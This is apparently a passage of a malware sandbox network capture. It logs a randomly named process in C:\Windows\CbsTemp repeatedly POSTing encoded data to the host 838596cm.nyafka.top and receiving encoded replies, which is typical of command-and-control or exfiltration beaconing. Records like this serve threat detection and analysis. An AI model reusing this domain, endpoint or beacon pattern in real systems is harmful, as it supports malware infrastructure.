Jan 8, 2025 17:13:25.910598993 CET	2532	OUT	Data Raw: 55 5c 5e 57 59 51 56 5a 5e 5f 57 54 56 5c 59 5c 57 55 58 5e 50 58 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^WYQVZ^_WTV\Y\WUX^PXV_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<^+]'#->%Z;?_>9\3+.R+*?".;-?#_&'P-/
Jan 8, 2025 17:13:26.041353941 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:26.275583982 CET	799	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ljfsTJjjl1CxrLIdpEcxK6kctxPumJIY2dMjjzI1iAMKYB8moPlvQsXwh0uiqrd2JaevM3vk8XUeSxZBiqhbHf4zWOSEYMw5F3mm60OVAHwqwD4YQV3Gz4HUrseXES2gQUtdv209"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed798d7aa90f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3252&min_rtt=1653&rtt_var=3819&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=101024&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50018	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:26.447091103 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50019	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:26.644160986 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1816 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:26.997370958 CET	1816	OUT	Data Raw: 55 54 5e 52 59 50 53 5f 5e 5f 57 54 56 5e 59 59 57 57 58 5e 50 59 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT^RYPS_^_WTV^YYWWX^PYV\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z*8Y'#%)=]/#>.5[(8>0]:R++=?$X6>+-/#_&'P-+
Jan 8, 2025 17:13:27.115710974 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:27.376766920 CET	957	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GEcb815LGZwhVNkKyiKEr%2FqsEyU2ZMUIZcKWAAib%2BNgFOS6g1QpuowVnSLA0QzBeOzk1zjJ6lC9gPYWeC3wxLtj6ad7ES%2BgahmhVUxdmQgmOQPy%2B09dWk19YY6Pn3epPUpyVv%2FrL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79942aaec34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3710&min_rtt=1522&rtt_var=4947&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2165&delivery_rate=76733&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0f 27 03 0e 12 22 38 32 0f 2b 14 3c 01 2b 20 21 01 39 07 30 12 31 1a 20 17 32 3c 23 04 37 06 2e 00 3c 3b 35 58 30 18 24 1d 3c 3b 20 5c 04 1f 24 5c 3c 5e 21 52 2a 3c 26 5f 24 20 25 5d 32 0a 20 58 26 03 3b 5a 24 39 3e 54 37 17 2b 54 3b 23 0c 1b 2d 38 3f 04 3c 37 06 59 26 3e 2f 50 0f 10 38 18 2c 3a 27 5d 20 21 3a 55 36 55 3c 00 37 25 30 1d 3f 3d 27 54 23 3f 32 03 27 55 26 08 23 22 33 1d 25 20 37 14 3c 32 2b 0a 28 19 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98''"82+<+ !901 2<#7.<;5X0$<; \$\<^!R*<&_$ %]2 X&;Z$9>T7+T;#-8?<7Y&>/P8,:'] !:U6U<7%0?='T#?2'U&#"3% 7<2+($U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50020	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:27.262592077 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:27.613787889 CET	2532	OUT	Data Raw: 55 55 5e 50 5c 5a 56 59 5e 5f 57 54 56 5d 59 5c 57 57 58 52 50 54 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU^P\ZVY^_WTV]Y\WWXRPTVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(;+'3&Z-"/'X)=)X']&R+"Y(/8">;:#_&'P-+
Jan 8, 2025 17:13:27.703839064 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:27.951298952 CET	818	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cqAqDZUP4gHvo%2B5TK5hPGnOnV%2FSVIEChkIDn%2F1BEcZc37Ta0kIRcHHMNRh1i%2FvrMjmuAxNGMcp%2Bie2hUDn%2BUCOdTNwIllu1C%2Fj9lCmc%2FY6PpAu43BIcnsiUA1%2FQvjatmfmYGEa%2B7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7997de26424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1747&min_rtt=1606&rtt_var=884&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=533820&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50021	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:28.097784042 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:28.441868067 CET	2532	OUT	Data Raw: 55 5c 5b 50 59 5a 53 59 5e 5f 57 54 56 59 59 5e 57 57 58 5c 50 5b 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\[PYZSY^_WTVYY^WWX\P[VZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ [(^0$#**>5/44?.2(8>&+9("8(?(5-/X-?#_&'P-
Jan 8, 2025 17:13:28.541745901 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:28.778265953 CET	814	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yg5oaGXv5%2F%2BMbqGq71%2FEp%2BMaTc9eKgJSRb2aek%2FbK03kmNpK2cHUAuVMLoWXyWtFCsewYrOMrQWGXOW1ejRlEuctqA%2F2EwZRIqim6a%2BzLVeeXlrogY4miwWc6bViVe%2BcYaVg1lii"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed799d1f79424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4516&min_rtt=1583&rtt_var=6459&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=58290&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50022	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:28.902935982 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:29.254347086 CET	2532	OUT	Data Raw: 50 57 5b 53 59 58 53 5e 5e 5f 57 54 56 5f 59 5b 57 5f 58 5a 50 58 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW[SYXS^^_WTV_Y[W_XZPXV^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +;33=?-8B+Y>%^>]3("S<1'>\!-:#_&'P-#
Jan 8, 2025 17:13:29.487891912 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:29.578504086 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:29.778183937 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FXwdnqqX0wCZjAp0sb4h8AnKWjumpcFMnXLUmSNHv4RNN8iqzL%2Be0kDaFFOFjhvgzM1YwfyAzQlIEtM%2B6HbTbuaUbQfCcvYrBrYKyoRgeBjAsEoaYtNPLdc2qH6KVvkvzDNzV2m0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79a23dde729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18045&min_rtt=13388&rtt_var=14336&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=28824&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50023	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:29.928805113 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:30.285630941 CET	2528	OUT	Data Raw: 55 50 5b 50 5c 5a 56 5c 5e 5f 57 54 56 5e 59 5c 57 54 58 5b 50 5d 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP[P\ZV\^_WTV^Y\WTX[P]V\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ <?X'#))5[,)>(+5Y3;<1 *76=,/#_&'P-?
Jan 8, 2025 17:13:30.376827002 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:30.613677025 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7k88OCRSUSEct%2FRK0iAUrguRAgLeW6BEg1mFJ52OTmqQ5fXUQefONWnqq45nAxwMHkAAPZh6w2zV6CLUHswWlMQAOpPKgU82sGDXv5Gy%2FJxRERCZ3HQ4G7dO%2BSagnBKXyykJOUfY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79a89dbd729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2241&min_rtt=2022&rtt_var=1197&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=386550&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50024	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:30.747875929 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:31.098148108 CET	2532	OUT	Data Raw: 50 56 5e 56 59 5d 56 52 5e 5f 57 54 56 56 59 52 57 57 58 52 50 5a 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^VY]VR^_WTVVYRWWXRPZVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _(8 $"=:8$>.$]%(T3=/5=7_-?#_&'P-
Jan 8, 2025 17:13:31.211527109 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:31.460086107 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ktRStU9lSMr9oH06Qu41CS6Y3ldvI6N4y1Gp42O40Lp1PvhwCmx9zQYBHkYGpY8oqQhhrQZNZ2fFAHL5PRbLZ%2B%2FtAXEsWWFdKiy8tkxszqh9cZmCoh6CeyCJvcB7kNssSqo%2BfZ%2B9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79adc962c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2993&min_rtt=1525&rtt_var=3508&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=110030&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50025	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:31.620716095 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:31.973416090 CET	2532	OUT	Data Raw: 55 5c 5e 57 59 5d 53 5c 5e 5f 57 54 56 56 59 58 57 52 58 53 50 5b 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^WY]S\^_WTVVYXWRXSP[VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#((]$3>^>%Y,7?-=Z*86$!+T;X>!.'^9#_&'P-
Jan 8, 2025 17:13:32.064043045 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:32.306776047 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=npHH8cmnLBBwcll7YiZX6qFh%2BoFqSRLui%2FLtxc4054R3DTjVD7Qn2w%2Bjsv0YHtTL9PzfVuc6PV0I5soC9O%2BBqJ9dyC1Bh%2BPJaWAAoV5py0k1iI8QHzEeXfBqkqcRr6cCDvz1Mt2b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79b3187143b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&min_rtt=1567&rtt_var=939&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=491251&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50026	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:32.401484966 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:32.754415989 CET	1828	OUT	Data Raw: 55 5d 5e 52 59 5c 56 5b 5e 5f 57 54 56 5d 59 5b 57 56 58 5a 50 5b 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U]^RY\V[^_WTV]Y[WVXZP[VZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X(;7\3>=X,$#%_+13(!?(*Y#!/,/#_&'P-+
Jan 8, 2025 17:13:32.852674007 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:33.095513105 CET	952	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bz7z47qTI4ColBcNp3mmNntHWOXjUVHkNm4c91ApgfeXoyAjNVEeAJEuk%2BjZAQrhGkXcg%2BhMvlS5dYy2V58rZ1b2NhwCmvPatnHDaTFcvDIQa5jjTeYrSQde11vuMjqiK1tHwgMy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79b808a443b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2792&min_rtt=1613&rtt_var=2964&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2177&delivery_rate=132138&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 1f 27 3e 2c 5e 23 05 2d 13 28 04 09 58 29 55 39 02 2c 29 3f 03 32 24 20 5f 27 3c 20 58 37 01 03 13 28 38 26 00 27 50 38 54 2a 3b 20 5c 04 1f 24 14 3f 38 03 57 2a 59 2a 16 30 33 0b 13 32 0d 34 5c 26 3d 27 10 33 07 22 1e 34 29 3b 55 2f 33 07 0b 2e 38 24 13 28 27 2f 00 24 3e 2f 50 0f 10 38 51 2d 2a 30 05 36 57 32 57 20 30 28 01 23 25 2c 59 29 3d 2c 0a 21 2c 32 03 24 23 1c 0b 34 0b 3b 57 27 0a 33 5b 28 57 28 53 2b 09 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$'>,^#-(X)U9,)?2$ _'< X7(8&'P8T; \$?8WY0324\&='3"4);U/3.8$('/$>/P8Q-06W2W 0(#%,Y)=,!,2$#4;W'3[(W(S+$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50027	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:32.641855955 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:32.988795042 CET	2532	OUT	Data Raw: 50 57 5e 56 5c 5d 56 59 5e 5f 57 54 56 5a 59 52 57 57 58 5c 50 54 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW^V\]VY^_WTVZYRWWX\PTVQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^<^7X00-=.![.44?-9=;10&?;=/"./#_&'P-7
Jan 8, 2025 17:13:33.104511976 CET	25	IN	HTTP/1.1 100 Continue
